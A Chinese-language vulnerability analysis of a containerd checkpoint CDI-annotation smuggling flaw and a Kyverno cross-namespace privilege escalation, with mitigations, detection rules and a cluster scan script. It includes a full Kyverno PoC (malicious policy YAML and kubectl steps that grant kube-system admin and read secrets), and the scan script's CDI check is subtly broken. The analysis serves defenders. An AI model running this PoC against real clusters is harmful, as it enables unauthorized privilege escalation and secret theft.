一、CVE-2026-53492:containerd CRI checkpoint CDI 注解走私

1.1 漏洞基本信息

属性 值
CVE 编号 CVE-2026-53492
GitHub Advisory GHSA-33vj-92qq-66hc
CVSS 3.1 (NIST) 9.6 CRITICAL — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
CVSS 4.0 (GitHub CNA) 8.4 HIGH
CWE CWE-20(输入验证不当)、CWE-863(不正确的授权)
报告者 Robert Prast (@robertprast)
发布日期 2026-06-18(GitHub),2026-07-01(NVD)

1.2 受影响版本与修复版本

版本范围 状态
>= 2.1.0, < 2.1.9 受影响
>= 2.2.0, < 2.2.5 受影响
>= 2.3.0, < 2.3.2 受影响
2.1.9 / 2.2.5 / 2.3.2 已修复

1.3 漏洞根因:信任边界混淆

containerd 的 CRI(Container Runtime Interface)实现在容器恢复(restore)阶段,不当信任了来自不可信 checkpoint 镜像元数据中的 CDI(Container Device Interface)注解。

核心信任模型问题:

正常容器创建流程(安全):
┌──────────────┐     ┌──────────────────────┐     ┌─────────────────┐
│ Pod 创建请求  │────▶│ K8s API Server       │────▶│ 准入控制器校验   │
│ (用户可控)    │     │ (RBAC + 准入控制)    │     │ (设备插件强制)   │
└──────────────┘     └──────────────────────┘     └────────┬────────┘
                                                           │
                                                           ▼
                                                   ┌───────────────┐
                                                   │ containerd    │
                                                   │ 创建容器       │
                                                   │ (安全: 仅使用  │
                                                   │  准入后规范)   │
                                                   └───────────────┘

Checkpoint 恢复流程(漏洞):
┌──────────────┐     ┌──────────────────────┐     ┌─────────────────┐
│ Checkpoint   │────▶│ containerd CRI       │────▶│ 恢复容器         │
│ 镜像元数据    │     │ (恢复阶段)           │     │ (危险: 保留      │
│ (用户可控!)   │     │ ❌ 不校验CDI注解     │     │  checkpoint中的  │
│              │     │    直接信任          │     │  恶意CDI注解)    │
└──────────────┘     └──────────────────────┘     └─────────────────┘

关键问题:checkpoint 元数据是用户可控的,而设备访问的运行时强制执行是系统控制的。containerd 未能在这两个信任边界之间执行安全校验——它保留了 checkpoint 归档中的 CDI 相关注解,而不是仅依赖 Pod 创建时的规范。

1.4 CDI(Container Device Interface)背景

CDI 是容器设备接口标准,允许在容器中安全地暴露特定设备(GPU、FPGA、SR-IOV NIC 等):

# CDI 规范示例:暴露 GPU 设备
apiVersion: cdi.k8s.io/v1alpha1
kind: Device
metadata:
  name: gpu-0
spec:
  containerEdits:
    deviceNodes:
    - path: /dev/nvidia0
    env:
    - name: NVIDIA_VISIBLE_DEVICES
      value: "0"
    mounts:
    - hostPath: /usr/lib/x86_64-linux-gnu/libnvidia-ml.so
      containerPath: /usr/lib/x86_64-linux-gnu/libnvidia-ml.so

正常情况下,CDI 注解由 K8s 设备插件在 Pod 创建时通过准入控制器注入,用户无法直接指定。但通过 checkpoint 走私,攻击者可以绕过这一控制。

1.5 五步攻击链

Step 1: 初始访问
  攻击者拥有合法的 Pod 创建权限(开发者级权限即可)

Step 2: Checkpoint 创建
  使用 CRIU 对容器执行 checkpoint,创建完整状态快照
  ┌──────────────────────────────────────────────────┐
  │ crictl checkpoint --export=malicious.tar <pod-id>│
  └──────────────────────────────────────────────────┘

Step 3: 恶意注解注入
  在 checkpoint 元数据中构造恶意 CDI 注解
  ┌──────────────────────────────────────────────────────┐
  │ # 修改 checkpoint 元数据                              │
  │ # 注入通常在 Pod 创建时会被拒绝的设备访问              │
  │ annotations:                                          │
  │   cdi.kubernetes.io/device: "vendor.com/gpu=all"     │
  │   cdi.kubernetes.io/resource: "nvidia.com/gpu:8"     │
  └──────────────────────────────────────────────────────┘

Step 4: 恢复利用
  containerd 从 checkpoint 恢复容器时,保留 checkpoint 归档中的
  CDI 注解,而非根据 Pod 原始创建时规范进行验证

Step 5: 安全绕过
  任意 CDI 条目被注入,绕过:
  - Kubernetes 设备插件强制执行
  - 资源配额限制
  - 命名空间隔离控制

1.6 利用前置条件

条件 说明
Pod 创建权限 开发者级访问即可(许多开发工作流中的常见权限)
containerd 配置 必须支持容器 checkpointing(用于实时迁移的场景越来越常见)
CDI 启用 节点必须启用 CDI,且存在匹配的主机 CDI 规范
如果 CDI 未启用或缺少敏感设备规范,则不受影响

1.7 缓解措施

官方 Workaround:

# 如果节点不使用 CDI 功能,从默认目录移除主机 CDI 规范
# 这将消除此漏洞的可利用性
rm -f /etc/cdi/*
rm -f /var/run/cdi/*

# 或者临时迁移到非标准路径
mv /etc/cdi /etc/cdi.disabled
mv /var/run/cdi /var/run/cdi.disabled

禁用 Checkpoint/Restore:

# /etc/containerd/config.toml
[plugins."io.containerd.grpc.v1.cri"]
  # 禁用容器 checkpoint 功能
  enable_criu_support = false

收紧 RBAC:

# 移除不必要的 Pod checkpoint 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: restricted-developer
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create", "get", "list", "watch"]
  # 不包含 "checkpoint" 操作

强制 Pod Security Standards:

# 强制 restricted 策略
kubectl label --overwrite ns production \
  pod-security.kubernetes.io/enforce=restricted
kubectl label --overwrite ns production \
  pod-security.kubernetes.io/enforce-version=latest

1.8 检测方法

SIGMA 规则:检测带有 CDI 注解的 Pod 创建操作

title: Detect CDI Annotation Smuggling in containerd Checkpoint Restore
status: experimental
logsource:
  product: kubernetes
  service: audit
detection:
  selection:
    verb: 'create'
    objectRef:
      resource: 'pods'
    requestObject:
      metadata:
        annotations|contains:
          - 'cdi.kubernetes.io'
  condition: selection
  level: high
  description: >
    检测 Pod 创建或恢复操作中包含 CDI 注解的情况,
    可能表明 CVE-2026-53492 的利用尝试

Auditd 规则:检测 CRIU checkpoint/restore 进程活动

title: Detect CRIU Checkpoint/Restore Activity
status: experimental
logsource:
  product: linux
  service: auditd
detection:
  selection:
    exe|endswith:
      - '/criu'
      - '/containerd-shim-runc-v2'
    argv|contains:
      - 'restore'
      - 'dump'
      - 'checkpoint'
  condition: selection
  level: medium

重要提醒:修复后,可能需要重新创建从不可信 checkpoint 恢复的现有容器,以移除已走私的配置。


二、CVE-2026-54523:Kyverno 策略生成跨命名空间权限提升

2.1 漏洞基本信息

属性 值
CVE 编号 CVE-2026-54523
GitHub Advisory GHSA-79gf-7frw-68m9
CVSS 3.1 9.6 CRITICAL — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
报告者 0xVijay
发布日期 2026-07-13(GitHub),2026-07-17(公开报道)
受影响版本 <= v1.18.1
修复版本 v1.18.2
复现确认 2026-05-20 在 kyverno/kyverno main 分支复现
PoC 状态 官方 Advisory 含完整 PoC

2.2 漏洞根因:GenerateResources 命名空间参数未校验

漏洞位置:pkg/cel/libs/context.go:182

GenerateResources(namespace string, dataList []map[string]any) 函数的 namespace 参数从 CEL 表达式 generator.apply("<target-namespace>", [...]) 传入时未经任何验证,经由 SDK 绑定 github.com/kyverno/sdk cel/libs/generator/impl.go:apply_generator_string_list 到达。

// pkg/cel/libs/context.go:182 — 漏洞函数
func GenerateResources(namespace string, dataList []map[string]any) error {
    // ❌ namespace 参数未经任何校验!
    // 攻击者可以传入任意命名空间,包括 "kube-system"
    for _, data := range dataList {
        obj := &unstructured.Unstructured{Object: data}
        obj.SetNamespace(namespace)  // 直接设置为目标命名空间
        // ... 创建资源
    }
    return nil
}

2.3 准入校验器的缺陷

NamespacedGeneratingPolicy 的准入校验器位于 pkg/cel/policies/gpol/validate.go:Validate(),但它仅检查策略能否编译通过以及 matchConstraints 是否非空:

// pkg/cel/policies/gpol/validate.go — 有缺陷的校验器
func (v *Validator) Validate(policy *NamespacedGeneratingPolicy) field.ErrorList {
    var errs field.ErrorList
    // ✅ 检查:策略能否编译通过
    // ✅ 检查:matchConstraints 是否非空
    // ❌ 缺失:未检查 generator.apply() 的 namespace 参数
    //          是否与策略自身的命名空间匹配
    return errs
}

2.4 对比正确实现

Kyverno 中其他类似功能有正确的防护,但 GenerateResources 缺少:

// pkg/engine/context/loaders/configmap.go:102 — 正确拒绝跨命名空间引用
func (l *configMapLoader) Load(name, namespace string) (*corev1.ConfigMap, error) {
    if l.policyNamespace != "" && namespace != "" && namespace != l.policyNamespace {
        return nil, fmt.Errorf("namespaced policy cannot reference configmap from different namespace")
    }
    // ...
}

// pkg/engine/apicall/apicall.go:73-82 — 正确通过正则强制命名空间段匹配
func validateNamespace(policyNs, targetNs string) error {
    pattern := fmt.Sprintf("^%s$", regexp.QuoteMeta(policyNs))
    matched, _ := regexp.MatchString(pattern, targetNs)
    if !matched {
        return fmt.Errorf("namespace mismatch")
    }
    return nil
}

2.5 权限基础

后台控制器的 ClusterRole(定义在 charts/kyverno/templates/background-controller/clusterrole.yaml)默认拥有对以下资源的集群级 create/update/patch/delete 权限:

# charts/kyverno/values.yaml:1436-1457 — 后台控制器权限
backgroundController:
  clusterRole:
    extraResources:
    - apiGroups: ["rbac.authorization.k8s.io"]
      resources: ["rolebindings", "roles"]
      verbs: ["create", "update", "patch", "delete"]
    - apiGroups: ["networking.k8s.io"]
      resources: ["networkpolicies"]
      verbs: ["create", "update", "patch", "delete"]
    - apiGroups: [""]
      resources: ["configmaps"]
      verbs: ["create", "update", "patch", "delete"]

2.6 完整 PoC(来自官方 GitHub Advisory)

前置条件:

  • 命名空间 tenant-ns 存在
  • 攻击者在 tenant-ns 中拥有 namespacedgeneratingpolicies.policies.kyverno.io 的 create 权限

攻击架构图:

┌─────────────────────────────────────────────────────────────┐
│ 命名空间: tenant-ns (攻击者控制)                              │
│                                                             │
│  ┌─────────────────────────────────────────┐               │
│  │ NamespacedGeneratingPolicy              │               │
│  │  name: cross-ns-escalate                │               │
│  │  namespace: tenant-ns                   │               │
│  │  spec:                                  │               │
│  │    matchConstraints:                    │               │
│  │      resourceRules:                     │               │
│  │      - resources: ["configmaps"]        │               │
│  │        operations: ["CREATE"]           │               │
│  │    generation:                          │               │
│  │    - expression: |                      │               │
│  │        generator.apply("kube-system", [ │ ◀── 跨命名空间!│
│  │          {                              │               │
│  │            kind: "RoleBinding",         │               │
│  │            metadata: {                  │               │
│  │              name: "tenant-escalation", │               │
│  │              namespace: "kube-system"   │               │
│  │            },                           │               │
│  │            subjects: [{                 │               │
│  │              name: "attacker",          │               │
│  │              namespace: "tenant-ns"     │               │
│  │            }],                          │               │
│  │            roleRef: {                   │               │
│  │              name: "admin"              │ ◀── cluster   │
│  │            }                            │     admin!    │
│  │          }                              │               │
│  │        ])                               │               │
│  └─────────────────────┬───────────────────┘               │
│                        │                                    │
│          Step 1: 创建 ConfigMap 触发策略                     │
│                        │                                    │
└────────────────────────┼────────────────────────────────────┘
                         │
                         ▼
┌─────────────────────────────────────────────────────────────┐
│ Kyverno 后台控制器 (cluster-admin 权限)                      │
│                                                             │
│  接收策略触发事件                                             │
│  执行 generator.apply("kube-system", [...])                 │
│  ❌ 不校验 namespace 是否与策略命名空间匹配                    │
│  ✅ 直接在 kube-system 中创建 RoleBinding                    │
└────────────────────────┬────────────────────────────────────┘
                         │
                         ▼
┌─────────────────────────────────────────────────────────────┐
│ 命名空间: kube-system                                        │
│                                                             │
│  ┌─────────────────────────────────────────┐               │
│  │ RoleBinding: tenant-escalation          │               │
│  │  subjects:                               │               │
│  │  - kind: ServiceAccount                  │               │
│  │    name: attacker                        │               │
│  │    namespace: tenant-ns                  │               │
│  │  roleRef:                                │               │
│  │    kind: ClusterRole                     │               │
│  │    name: admin                           │ ◀── kube-     │
│  └─────────────────────────────────────────┘     system     │
│                                                  admin!     │
└─────────────────────────────────────────────────────────────┘

恶意策略 YAML:

apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedGeneratingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns        # 策略在 tenant-ns 命名空间
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  generation:
  - expression: |
      generator.apply("kube-system", [     # ← 跨命名空间!
        {
          "apiVersion": "rbac.authorization.k8s.io/v1",
          "kind": "RoleBinding",
          "metadata": {
            "name": "tenant-escalation",
            "namespace": "kube-system"
          },
          "subjects": [{
            "kind": "ServiceAccount",
            "name": "attacker",
            "namespace": "tenant-ns"
          }],
          "roleRef": {
            "apiGroup": "rbac.authorization.k8s.io",
            "kind": "ClusterRole",
            "name": "admin"
          }
        }
      ])

利用步骤:

# Step 1: 创建攻击者 ServiceAccount
kubectl -n tenant-ns create serviceaccount attacker

# Step 2: 应用恶意策略
kubectl apply -f malicious-policy.yaml

# Step 3: 在 tenant-ns 中创建任意 ConfigMap 以触发策略
kubectl -n tenant-ns create configmap trigger --from-literal=key=value

# Step 4: 验证 kube-system 中的 RoleBinding 已创建
kubectl -n kube-system get rolebinding tenant-escalation

# Step 5: 攻击者现在拥有 kube-system 的 admin 权限
kubectl --as=system:serviceaccount:tenant-ns:attacker \
  -n kube-system get secrets

2.7 影响范围

影响维度 说明
权限提升路径 命名空间级用户 → 任意命名空间 admin
可创建的资源 Roles、RoleBindings、ConfigMaps、NetworkPolicies、Ingresses
目标命名空间 任意(包括 kube-system、kube-public)
可授予的权限 任意 ClusterRole(包括 cluster-admin)
野外利用 未确认(但 PoC 已公开)

2.8 缓解措施

# P0: 立即升级至 Kyverno v1.18.2
helm upgrade kyverno kyverno/kyverno --version 1.18.2

# P1: 审查谁拥有 NamespacedGeneratingPolicy 创建权限
kubectl get namespacedgeneratingpolicies.policies.kyverno.io --all-namespaces
kubectl auth can-i create namespacedgeneratingpolicies.policies.kyverno.io --as=<user> -n <ns>

# P1: 撤销不必要的访问
kubectl delete clusterrolebinding <binding>  # 移除不必要的 NGP 创建权限

# P2: 审计已有的 NamespacedGeneratingPolicy
kubectl get namespacedgeneratingpolicies.policies.kyverno.io --all-namespaces -o yaml | \
  grep -A5 "generator.apply"

三、两个漏洞的攻击面对比

维度 CVE-2026-53492 (containerd) CVE-2026-54523 (Kyverno)
攻击层级 容器运行时隔离 策略引擎权限模型
前置权限 Pod 创建权限 NGP 创建权限
利用复杂度 中(需要 CRIU + CDI 环境) 低(仅需 kubectl)
PoC 可用性 无公开 PoC 官方 Advisory 含完整 PoC
影响范围 设备访问/资源配额绕过 任意命名空间 cluster-admin
野外利用 未确认 未确认(PoC 已公开)
修复难度 升级 containerd + 移除 CDI 规范 升级 Kyverno
检测难度 中(需审计 CRIU 活动) 低(审计 NGP 创建)

四、K8s 控制面安全加固框架

4.1 纵深防御架构

┌─────────────────────────────────────────────────────────────┐
│                    K8s 控制面安全加固框架                     │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Layer 1: RBAC 最小权限                                     │
│  ├── 移除不必要的 Pod checkpoint 权限                        │
│  ├── 收紧 NamespacedGeneratingPolicy 创建权限                │
│  └── 定期审计 ClusterRoleBinding                            │
│                                                             │
│  Layer 2: 准入控制                                          │
│  ├── 校验准入 Webhook 拒绝带 CDI 注解的 Pod                  │
│  ├── 校验 NGP 的 generator.apply namespace 参数              │
│  └── 强制 Pod Security Standards (restricted)               │
│                                                             │
│  Layer 3: 运行时隔离                                        │
│  ├── 禁用不必要的 CRIU checkpoint 功能                      │
│  ├── 移除不使用的 CDI 规范                                   │
│  └── 容器以非 root 运行 + seccomp 配置                      │
│                                                             │
│  Layer 4: 审计与检测                                        │
│  ├── K8s 审计日志:监控 CRD 端点异常 CREATE/UPDATE           │
│  ├── Auditd:监控 CRIU 进程活动                              │
│  ├── SIGMA 规则:检测 CDI 注解走私                           │
│  └── 行为分析:检测 NGP 创建后的异常资源生成                  │
│                                                             │
│  Layer 5: 补丁管理                                          │
│  ├── containerd >= 2.1.9 / 2.2.5 / 2.3.2                   │
│  ├── Kyverno >= v1.18.2                                     │
│  └── 定期扫描集群组件版本                                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

4.2 集群安全扫描脚本

#!/usr/bin/env python3
"""K8s 控制面安全扫描脚本"""

import subprocess
import json
import sys

def check_containerd_version():
    """检查 containerd 版本是否受 CVE-2026-53492 影响"""
    result = subprocess.run(
        ["kubectl", "get", "nodes", "-o", "jsonpath={.items[*].status.nodeInfo.containerRuntimeVersion}"],
        capture_output=True, text=True
    )
    versions = result.stdout.strip().split()
    vulnerable = []
    
    for v in versions:
        # 解析 containerd://1.6.x 或 containerd://2.x.x 格式
        if "containerd://" in v:
            ver = v.replace("containerd://", "")
            parts = ver.split(".")
            if len(parts) >= 3:
                major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                # 检查是否在受影响版本范围内
                if major == 2:
                    if minor == 1 and patch < 9:
                        vulnerable.append(v)
                    elif minor == 2 and patch < 5:
                        vulnerable.append(v)
                    elif minor == 3 and patch < 2:
                        vulnerable.append(v)
    
    return vulnerable

def check_kyverno_version():
    """检查 Kyverno 版本是否受 CVE-2026-54523 影响"""
    result = subprocess.run(
        ["kubectl", "get", "deployment", "-n", "kyverno", "kyverno-admission-controller",
         "-o", "jsonpath={.spec.template.spec.containers[0].image}"],
        capture_output=True, text=True
    )
    image = result.stdout.strip()
    if "kyverno" in image:
        # 提取版本号
        parts = image.split(":")
        if len(parts) >= 2:
            ver = parts[-1]
            v_parts = ver.split(".")
            if len(v_parts) >= 3:
                major, minor, patch = int(v_parts[0]), int(v_parts[1]), int(v_parts[2])
                if major == 1 and minor == 18 and patch < 2:
                    return True, ver
                elif major == 1 and minor < 18:
                    return True, ver
    return False, image

def check_cdi_enabled():
    """检查节点是否启用了 CDI"""
    result = subprocess.run(
        ["kubectl", "debug", "node/$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')",
         "--", "ls", "/etc/cdi/", "/var/run/cdi/"],
        capture_output=True, text=True, shell=True
    )
    return result.returncode == 0

def check_ngp_permissions():
    """检查哪些用户拥有 NamespacedGeneratingPolicy 创建权限"""
    result = subprocess.run(
        ["kubectl", "auth", "can-i", "--list", "-A"],
        capture_output=True, text=True
    )
    ngp_users = []
    for line in result.stdout.split("\n"):
        if "namespacedgeneratingpolicies" in line.lower():
            ngp_users.append(line.strip())
    return ngp_users

if __name__ == "__main__":
    print("=" * 60)
    print("K8s 控制面安全扫描")
    print("=" * 60)
    
    # CVE-2026-53492 检查
    print("\n[1] CVE-2026-53492 (containerd CDI 注解走私)")
    vulnerable_ctd = check_containerd_version()
    if vulnerable_ctd:
        print(f"  ⚠️  受影响版本: {vulnerable_ctd}")
        print("  建议: 升级至 containerd >= 2.1.9 / 2.2.5 / 2.3.2")
    else:
        print("  ✅ containerd 版本不受影响或已修复")
    
    cdi_enabled = check_cdi_enabled()
    if cdi_enabled:
        print("  ⚠️  节点启用了 CDI,建议评估是否必要")
    
    # CVE-2026-54523 检查
    print("\n[2] CVE-2026-54523 (Kyverno 策略生成提权)")
    kyverno_vulnerable, kyverno_ver = check_kyverno_version()
    if kyverno_vulnerable:
        print(f"  ⚠️  Kyverno 版本 {kyverno_ver} 受影响")
        print("  建议: 升级至 Kyverno >= v1.18.2")
    else:
        print(f"  ✅ Kyverno 版本 {kyverno_ver} 不受影响")
    
    ngp_users = check_ngp_permissions()
    if ngp_users:
        print(f"  ℹ️  拥有 NGP 创建权限的用户: {ngp_users}")
    
    print("\n" + "=" * 60)
    print("扫描完成")

五、版本对照与升级路径

containerd 升级路径

当前版本 目标版本 方式
2.1.0 - 2.1.8 2.1.9 apt upgrade containerd / yum update containerd
2.2.0 - 2.2.4 2.2.5 同上
2.3.0 - 2.3.1 2.3.2 同上
< 2.1.0 不受影响 无需操作

Kyverno 升级路径

# Helm 升级
helm repo update
helm upgrade kyverno kyverno/kyverno \
  --namespace kyverno \
  --version 1.18.2 \
  --reuse-values

# 验证升级
kubectl -n kyverno get deployment kyverno-admission-controller \
  -o jsonpath='{.spec.template.spec.containers[0].image}'

# 重启所有 Kyverno 组件
kubectl -n kyverno rollout restart deployment

免责声明

本文仅供安全研究和技术学习使用。文中涉及的漏洞利用技术、PoC 代码和攻击链分析仅用于防御目的,帮助安全从业者理解 Kubernetes 生态的安全风险并制定防御策略。请勿将本文内容用于任何非法用途。所有漏洞信息均来自公开披露的 GitHub Security Advisory 和 NVD。相关漏洞已在受影响产品的最新版本中修复。读者应在合法授权的环境下进行安全测试,并遵守当地法律法规。